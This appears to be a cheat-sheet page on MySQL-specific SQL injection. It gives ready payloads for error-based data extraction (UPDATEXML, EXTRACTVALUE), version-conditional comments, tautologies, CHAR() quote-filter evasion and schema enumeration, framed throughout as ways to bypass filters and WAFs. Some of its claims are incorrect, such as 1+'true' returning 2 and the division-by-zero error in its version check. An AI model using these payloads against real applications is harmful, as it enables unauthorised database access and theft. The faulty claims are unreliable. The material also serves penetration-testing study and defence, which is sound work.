MySQL-specific Code
MySQL provides several unique syntax features and functions that can be leveraged in SQL injection attacks. Understanding these MySQL-specific techniques can help bypass filters and execute complex injections.
Version-Specific Comments
MySQL supports a special comment syntax that executes code only on specific versions:
/*!50000 SELECT * FROM users */
This will execute SELECT * FROM users only on MySQL version 5.0.0 and higher.
Examples:
-- This executes on MySQL 5.5 and later
/*!55000 SELECT user from mysql.user */
-- This executes on MySQL 5.0 and later
/*!50000 SELECT user from mysql.user */
-- Using it for version detection
SELECT /*!32302 1/0, */ 1 FROM dual
-- If MySQL < 3.23.02, returns 1
-- If MySQL >= 3.23.02, error (division by zero)
MySQL-specific Functions
MySQL offers unique functions not available in other database systems:
| Function | Description |
|---|---|
UPDATEXML() | XML manipulation function, useful for error-based injection |
EXTRACTVALUE() | Extract XML values, also useful for error-based injection |
NAME_CONST() | Creates a column with a specific name |
UUID() | Generates a unique ID (retrieves MAC address in older versions) |
POLYGON() | Geometric function that can crash some MySQL versions |
WEIGHT_STRING() | Returns the weight string for a string |
Error-based Extraction Using MySQL Functions
-- Using UPDATEXML to extract data via errors
AND UPDATEXML(1,CONCAT('~',(SELECT @@version),'~'),1)
-- Using EXTRACTVALUE to extract data via errors
AND EXTRACTVALUE(1,CONCAT('~',(SELECT database()),'~'))
MySQL-specific Variables
MySQL provides system variables prefixed with @@:
SELECT @@version -- Database version
SELECT @@datadir -- Data directory
SELECT @@basedir -- Base directory
SELECT @@socket -- Socket file path
SELECT @@plugin_dir -- Plugin directory
SELECT @@hostname -- Server hostname
SELECT @@tmpdir -- Temporary directory
MySQL Type Conversions
MySQL’s automatic type conversion can be exploited:
-- String to number conversion
SELECT * FROM users WHERE id = '1 OR 1=1'
-- Converts to: SELECT * FROM users WHERE id = 1
-- Boolean to integer conversion
SELECT 1+'true' -- Returns 2
SELECT 1+'false' -- Returns 1
MySQL UNION Behavior
MySQL’s UNION behavior has some unique characteristics:
-- MySQL allows columns in UNION to have different data types
SELECT 'string' UNION SELECT 1; -- Works in MySQL
-- MySQL requires all columns in GROUP_CONCAT to be convertible to string
SELECT GROUP_CONCAT(id) FROM users;
MySQL CHAR Function
Use CHAR to create strings from ASCII values, useful for bypassing filters:
-- Creating the string 'root' without quotes
SELECT CHAR(114, 111, 111, 116);
MySQL Special Features
Other MySQL-specific features useful in injection:
-- Query preprocessing using pipes
SELECT * FROM users WHERE id = 1 || 1=1
-- Session variables
SET @var = 'SELECT * FROM users';
PREPARE stmt FROM @var;
EXECUTE stmt;
-- MySQL specific handlers
DECLARE CONTINUE HANDLER FOR SQLSTATE '23000' SET @x = 1;
MySQL Information Tables
MySQL’s information_schema database provides a wealth of metadata:
-- Find all tables
SELECT table_name FROM information_schema.tables
-- Find all columns for a table
SELECT column_name FROM information_schema.columns WHERE table_name = 'users'
-- Find databases
SELECT schema_name FROM information_schema.schemata
MySQL Specific Injection Techniques
-- Subquery as table
SELECT * FROM (SELECT 1)x
-- Dual table (for expressions)
SELECT 1+1 FROM dual;
-- Aliasing without AS keyword
SELECT 1 a, 2 b FROM dual;
Version-specific Limitations and Features
-- GROUP_CONCAT limited to 1024 characters by default in older versions
SELECT @@group_concat_max_len; -- Check current limit
-- JSON functions only available in MySQL 5.7+
SELECT JSON_EXTRACT('{"id": 1}', '$.id'); -- Only works in 5.7+
Practical Applications
Using MySQL-specific features can help in:
- Bypassing WAFs that block standard SQL injection patterns
- Creating more precise injection payloads
- Detecting MySQL versions
- Using error-based techniques specific to MySQL